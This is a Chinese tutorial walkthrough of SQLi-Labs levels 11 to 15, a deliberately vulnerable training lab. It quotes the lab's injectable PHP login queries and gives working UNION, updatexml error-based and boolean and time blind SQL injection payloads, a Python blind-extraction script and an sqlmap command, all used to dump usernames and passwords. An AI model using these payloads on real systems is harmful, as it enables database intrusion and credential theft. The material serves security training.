SQL-Labs靶场“11-15”关通关教程

news2025/6/25 15:09:11

君衍.

  • 一、十一关 基于POST单引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 二、十二关 基于POST双引号字符型注入
    • 1、源码分析
    • 2、联合查询注入
    • 3、报错注入
  • 三、十三关 基于POST单引号报错注入变形
    • 1、源码分析
    • 2、报错注入
  • 四、十四关 基于POST双引号报错注入
    • 1、源码分析
    • 2、报错注入
  • 五、十五关 基于POST单引号布尔型时间盲注
    • 1、源码分析
    • 2、布尔盲注(手动)
    • 2、布尔盲注(脚本)
    • 3、时间盲注(sqlmap)

一、十一关 基于POST单引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=‘x’

在这里插入图片描述
看见输入框了,说明该注入提交方式为POST,同时我们先寻找注入点:
在输入框中输入单引号:

在这里插入图片描述
我们可以看到产生了报错信息显示,说明这里我们自然可以使用报错注入以及联合查询。

1、源码分析

# 使用POST方式接受变量
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
	$uname=$_POST['uname'];
	$passwd=$_POST['passwd'];
	···
	# 使用单引号进行拼接SQL
	@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
	$result=mysqli_query($con1, $sql);
	$row = mysqli_fetch_array($result, MYSQLI_BOTH);

	if($row)
	{
  		···
		//echo " You Have successfully logged in\n\n " ;
		···
		echo 'Your Login name:'. $row['username'];
		echo 'Your Password:' .$row['password'];
		···
		echo '<img src="../images/flag.jpg"  />';	
  	}
	else  
	{
		···
		//echo "Try again looser";
		# 输出报错信息
		print_r(mysqli_error($con1));
		···
		echo '<img src="../images/slap.jpg" />';	
		···
	}
}

我们可以看到只是将提交方式变为了POST,实际上和第一关GET提交方式的实质大差不差,所以这里我们可以使用联合查询,报错,布尔(显示的界面不同),延时注入方式。
在这里插入图片描述
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa' order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述
可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa' order by 2#
aaaa

在这里插入图片描述
可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据:

aaaa' union select group_concat(username,password),2 from users#
aaaa

在这里插入图片描述
我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa' union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa' and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述
数据库的表名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述
然后看users可疑查users的列名:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述
接着看见username以及password继续查数据:

aaaa' and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述
我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述
接着我们变值就结束了:

aaaa' and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述
剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

二、十二关 基于POST双引号字符型注入

请求方式注入类型拼接方式
POST联合、报错、布尔盲注、延时盲注username=(“x”)

这里注入点判断的方法和第十一关是一样的。

1、源码分析

···# 与第十一关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十一关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十二关采用双引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为双引号加括号就行。
在这里插入图片描述

2、联合查询注入

1、猜字段

首先我们进行测试users表有几列,同样的使用order by排序进行查询,即:

aaaa") order by 3#
aaaa

上面这个是username与password分别填写的,这里我们没有使用–+是由于此处是POST传参,而不是URL里面,所以我直接使用#来进行注释。
在这里插入图片描述

可以看到显示第三列不存在,所以我们接着尝试将3变为2:

aaaa") order by 2#
aaaa

在这里插入图片描述

可以看到这里并没有显示,说明我们猜的字段是正确的,并没有输出错误信息,我们自然会想到是username以及password。

2、直接查数据

下面我们直接构建payload进行查数据(下面只展示username就行,password不填了,懒得填反正都注释掉了):

aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

我们可以看到直接输出了数据,不难(这里password肯定是随便输入的,毕竟那个SQL语句前面username我们在之后已经进行了注释,所以不影响)。这里我们自然也可以在password中执行,丝毫不影响:

aaaa
aaaa") union select group_concat(username,password),2 from users#

在这里插入图片描述

3、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa") and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa") and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa") and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

三、十三关 基于POST单引号报错注入变形

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=(‘x’)

在这里插入图片描述
首先我们判断是否有报错信息回显,可以看到有报错信息回显,下面我们正常进行闭合登录可以发现并没有输出登录信息:
在这里插入图片描述
所以这里联合查询是无法使用。

1、源码分析

···# 与第十一关相同
@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row)
{
 	···
	//echo " You Have successfully logged in " ;
	//echo 'Your Login name:'. $row['username'];
	//echo 'Your Password:' .$row['password'];
	//echo "<br>";
	···
	echo '<img src="../images/flag.jpg"   />';	
 	}
else  
{
	···
	//echo "Try again looser";
	print_r(mysqli_error($con1));
	···
	echo '<img src="../images/slap.jpg"   />';	
}

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十三关采用单引号加括号闭合。所以之后我们进行的注入过程不过是将第十一关的单引号换为单引号加括号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa') and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa') and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa') and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

四、十四关 基于POST双引号报错注入

请求方式注入类型拼接方式
POST报错、布尔盲注、延时盲注username=“x”

这里注入点判断和第十三关相同,只是在判断是改为aaaa"罢了。

1、源码分析

···# 与第十三关相同
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
···# 与第十三关相同

这里我们自然可以看到与第十一关最大的不同在于闭合方式,第十一关采用单引号闭合,第十四关采用双引号闭合。所以之后我们进行的注入过程是将第十一关的单引号换为双引号。
同时我们也可以看到它是将输出的信息代码注释掉了,所以这里并不能使用联合查询注入方式。但是我们也可以看到它登录成功以及失败输出图片依旧是不一样的,所以布尔,延时都是可以使用的。
在这里插入图片描述

2、报错注入

上面我们也说了,看见输出报错信息我们自然可以想到报错注入,下面我们构建payload(比如这里我们首先查数据库名):

aaaa" and updatexml(1,concat(0x7e,database(),0x7e),1)#
aaaa

在这里插入图片描述

数据库的表名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='security'),0x7e),1)#
aaaa

在这里插入图片描述

然后看users可疑查users的列名:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)#
aaaa

在这里插入图片描述

接着看见username以及password继续查数据:

aaaa" and updatexml(1,concat(0x7e,(select group_concat(username,0x3a,password)from users),0x7e),1)#
aaaa

在这里插入图片描述

我们可以看到又是字符输出限制,所以我们搞个limit即可:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 0,1),0x7e),1)#
aaaa

在这里插入图片描述

接着我们变值就结束了:

aaaa" and updatexml(1,concat(0x7e,(select concat(username,0x3a,password)from users limit 1,1),0x7e),1)#
aaaa

在这里插入图片描述

剩下的就很简单了,所以使用报错注入就结束了,剩下几种报错注入实质也是一样。

五、十五关 基于POST单引号布尔型时间盲注

请求方式注入类型拼接方式
POST布尔盲注、延时盲注username=‘x’

当然,首先我们查找注入点:
设置username=aaaa’:
在这里插入图片描述
我们发现并没有产生报错,接着我们逃逸让其登录成功:
在这里插入图片描述
我们可以看到界面是不一样的,所以这里指定可以进行布尔盲注以及时间盲注。

1、源码分析

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);

if($row)
{
 	···
	//echo " You Have successfully logged in\n\n " ;
	···
	//echo 'Your Login name:'. $row['username'];
	//echo 'Your Password:' .$row['password'];
	···
	echo '<img src="../images/flag.jpg"  />';	
 	}
else  
{
	···
	//echo "Try again looser";
	//print_r(mysqli_error($con1));
	···
	echo '<img src="../images/slap.jpg"   />';	
	···
}

这里我们可以看到它是将所有报错信息以及登录成功的信息注释掉了,但是依旧可以看到img标签的图片加载时不同的,如果登录成功,那么图片为flag.jpg如果登录失败那么图片为slap.jpg,所以这个可以作为我们的切入点。
在这里插入图片描述

2、布尔盲注(手动)

下面我们构建payload进行比较数据库名的第一个字符的ascii值:

admin1' and ascii(substr(database(),1,1))>100#

在这里插入图片描述
这里我们可以看到返回的是登录成功,所以说明第一个字符的ascii值是大于100的,接着我们让其大于120:

admin1' and ascii(substr(database(),1,1))>120#

在这里插入图片描述
我们可以看到返回登录失败的图片,所以我们可以以此进行判断数据库名,手动一个一个去尝试。

2、布尔盲注(脚本)

相较于手动,脚本当然是非常有效率,但是对于脚本还得有一定的功底,下面我门来编写Python脚本:

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {
                "uname" : "admin1' and ascii(substr(database(),%d,1))>%d#" % (i, mid),
                "passwd" : 'aaaaa'
            }
            r = requests.post(url, data=data)
            if 'flag.jpg' in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
        if mid == 32:
            break
        name += chr(mid)
        print(name)
 
if __name__ == "__main__":
    url = 'http://127.0.0.1/sqli7/Less-15/index.php'
    inject_database(url)

也是我们经常强调的,URL必须填写正确,然后执行:
在这里插入图片描述
便可完成注入,接着注入数据时,更换payload即可。

3、时间盲注(sqlmap)

下面我们依然是直接加上参数进行注入:

sqlmap -u "http://192.168.1.11/sqli7/Less-15/index.php" -data "uname=admin&passwd=admin&submit=Submit" --batch --threads 10 --technique T --dbs

可能会用到以下参数:

  • -r 读取抓包文件
  • -p 需要检测的参数
  • –technique 需要检测的注入方式
  • E 基于报错的注入
  • S 通过sqlmap读取文件系统、操作系统、注册表必须 使用该参数,可多语句查询注入
  • –batch 默认选择
  • –threads 线程数
  • -data 传入post参数(免去抓包)

紧接着我们执行之后:
在这里插入图片描述
在这里插入图片描述

它就可以自行完成时间盲注,同时加载出注入的数据,十五关至此通关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1453827.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024阿里云云服务器ECS价格表出炉

2024年最新阿里云服务器租用费用优惠价格表&#xff0c;轻量2核2G3M带宽轻量服务器一年61元&#xff0c;折合5元1个月&#xff0c;新老用户同享99元一年服务器&#xff0c;2核4G5M服务器ECS优惠价199元一年&#xff0c;2核4G4M轻量服务器165元一年&#xff0c;2核4G服务器30元3…

项目开发日志(登录页面):1. Header组件

Header组件 样式 说明 属性 属性名含义类型是否必填默认值linkUrl图标点击后链接界面String否javascript:;(none) 属性名含义类型是否必填默认值url图片路径String是无 样式 mainColor -> 主题颜色 代码 <template><div class"header-container&qu…

定制你的【Spring Boot Starter】,加速开发效率

摘要&#xff1a; 本文将介绍如何创建一个自定义的 Spring Boot Starter&#xff0c;让您可以封装常用功能和配置&#xff0c;并在多个 Spring Boot 项目中共享和重用。 1. 简介 Spring Boot Starter 是 Spring Boot 框架中的一种特殊的依赖项&#xff0c;它用于快速启动和配置…

51_蓝桥杯_led流水灯

一 原理图分析 二 三八译码器工作原理 三八译码器&#xff1a;3个输入控制8路互斥的低电平有效输出。 C B A 输出 0 0 0 Y0 0 0 1 Y1 0 1 0 Y2 0 1 1 Y3 1 0 0 Y4 1 0 1 Y5 1 1 0 Y6 1 1 1 Y7 三 锁存器工作原理 锁存器&#xff1a;当使…

租房招聘|在线租房和招聘平台|基于Springboot的在线租房和招聘平台设计与实现(源码+数据库+文档)

在线租房和招聘平台目录 目录 基于Springboot的在线租房和招聘平台设计与实现 一、前言 二、系统功能设计 三、系统实现 1、房屋管理 2、招聘管理 3、平台资讯管理 4、平台资讯类型管理 四、数据库设计 1、实体ER图 六、论文参考 七、最新计算机毕设选题推荐 八、源…

Oracle19c PDB的简介与创建

多租用户环境&#xff08;Multitenant Environment&#xff09;&#xff0c;允许一个数据库容器&#xff08;CDB&#xff09;承载多个可插拔数据库&#xff08;PDB&#xff09;。 首先&#xff0c;毋庸置疑的是pdb只能在cdb root下创建&#xff0c;每个cdb里面都有一个pdb$seed…

自定义配置IDEA中的Java注释模板

文章目录 1.背景2.模板配置2.1.配置类模板2.2.配置方法模板2.2.1. 创建自定义模板分组2.2.2. 配置缩写、模板、触发键2.2.3. 变量配置 3.总结 1.背景 由于在公司的编码规约中关于注释的规约&#xff0c;在IDEA中的默认模板无法适配&#xff0c;所以在每次新建接口、类、方法的…

信息安全研究方向

信息安全研究方向 目前信息安全的研究包含密码学、网络安全、信息系统安全、信息内容安全、信息对抗等方向。 网络空间是所有信息系统的集合,网络安全的核心是信息安全。网络空间安全学科是研究信息的获取、存储、传输、处理等领域中信息安全保障问题的一门学科。 信息安全理…

数据分析 — Pandas 数据加载、存储和清洗

目录 一、文件读取1、常见文件读取函数2、read_csv()3、read_table()4、read_excel()5、read_json()6、read_html()7、大文件读取 二、数据保存1、csv2、excel3、json4、html5、MySQL1、连接数据库2、MySQL 存储到本地3、本地存储到 MySQL 三、数据清洗1、处理缺失值1、判断数据…

【C++初阶】第三站:类和对象(中) -- 日期计算器

目录 前言 日期类的声明.h 日期类的实现.cpp 获取某年某月的天数 全缺省的构造函数 拷贝构造函数 打印函数 日期 天数 日期 天数 日期 - 天数 日期 - 天数 前置 后置 前置 -- 后置-- 日期类中比较运算符的重载 <运算符重载 运算符重载 ! 运算符重载 …

【教3妹学编程-算法题】N 叉树的前序遍历

2哥 : 叮铃铃&#xff0c;3妹&#xff0c;准备复工了啊&#xff0c;过年干嘛呢&#xff0c;是不是逛吃逛吃&#xff0c;有没有长胖呢。 3妹&#xff1a;切&#xff0c;不想上班&#xff0c;假期能不能重来一遍啊&#xff0c;虽然在家我妈张罗着要给我相亲呢。可是在家还是很好的…

压敏电阻:浪涌保护的理想解决方案?

有关电涌保护的新法规迫使工程师寻找解决方案&#xff0c;以最小的成本损失集成此类保护&#xff0c;特别是在成本敏感的消费产品中。在汽车领域&#xff0c;电涌保护也越来越重要&#xff0c;这要归功于即使是最基本的量产车中电子含量的快速增长&#xff0c;以及公认的电源电…

MySQL简单配置GTID

前期规划 IP地址 角色 系统版本 内核 软件包名称 192.168.2.3 Mysql主服务器 CentOS Stream 9 5.14.0- 381.el9.x86_64 mysql-8.2.0-linux-glibc2.17-x86_64.tar.xz 192.168.2.4 Mysql从服务器 CentOS Stream 9 5.14.0- 381.el9.x86_64 mysql-8.2.0-linux-glibc…

C++ //练习 7.27 给你自己的Screen类添加move、set和display函数,通过执行下面的代码检验你的类是否正确。

C Primer&#xff08;第5版&#xff09; 练习 7.27 练习 7.27 给你自己的Screen类添加move、set和display函数&#xff0c;通过执行下面的代码检验你的类是否正确。 Screen myScreen(5, 5, X); myScreen.move(4, 0).set(#).display(cout); cout<<"\n"; myScr…

计算机网络——18无连接传输UDP

无连接传输UDP UDP “尽力而为的”服务&#xff0c;报文段可能 丢失送到应用进程的报文段乱序 无连接 UDP发送端和接收端之间没有握手每个UDP报文段都被独立的处理 UDP被用于 流媒体DNSSNMP 在UDP上实现可靠传输 在应用层增加可靠性应用特定的差错格式 UDP&#xff1a;用户…

综合交易模型教程---qmt实盘链接,提供源代码

综合交易模型教程---qmt实盘链接&#xff0c;提供源代码 Original L1511732 数据分析与运用 2024-02-17 00:13 贵州 目前框架实盘全部完成了&#xff0c;后面写教程&#xff0c;每一个函数怎么样使用&#xff0c;怎么样开发自己的策略 模拟盘现在登录不了我直接实盘展示 后面…

阿里云轻量应用服务器怎么样?有哪些好处?

阿里云轻量应用服务器有哪些优势&#xff1f;轻量服务器具有价格优惠、使用门槛低快速上手、灵活变配、可视化运维等优势&#xff0c;阿里云百科aliyunbaike.com整理轻量应用服务器详细优势&#xff1a; 1、价格优惠 阿里云轻量应用服务器性价比高&#xff0c;价格优惠&#x…

ubuntu制作windows的u盘启动盘

概要&#xff1a; 本篇演示在ubuntu22.04中制作windows10的u盘启动盘 一、下载woeusb 1、下载woeusb 在浏览器中输入https://github.com/woeusb/woeusb/releases访问woeusb 点击红色矩形圈出来的部分&#xff0c;下载woeusb 2、安装wimtools wimtools是woeusb的一个必须的…

EasyRecovery软件免费版与付费版有哪些功能区别?

免费版的EasyRecovery软件在功能和恢复能力上确实存在一些限制。 首先&#xff0c;在数据恢复方面&#xff0c;免费版通常只能恢复最多1GB的数据。这意味着&#xff0c;如果你需要恢复的数据量超过1GB&#xff0c;你将需要升级到付费版才能完全恢复。 其次&#xff0c;免费版…

第4讲引入JWT前后端交互

引入JWT前后端交互 Json web token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准&#xff08;(RFC 7519)&#xff1b; JWT就是一段字符串&#xff0c;用来进行用户身份认证的凭证&#xff0c;该字符串分成三段【头部、载荷、签证】 后端接口测试&…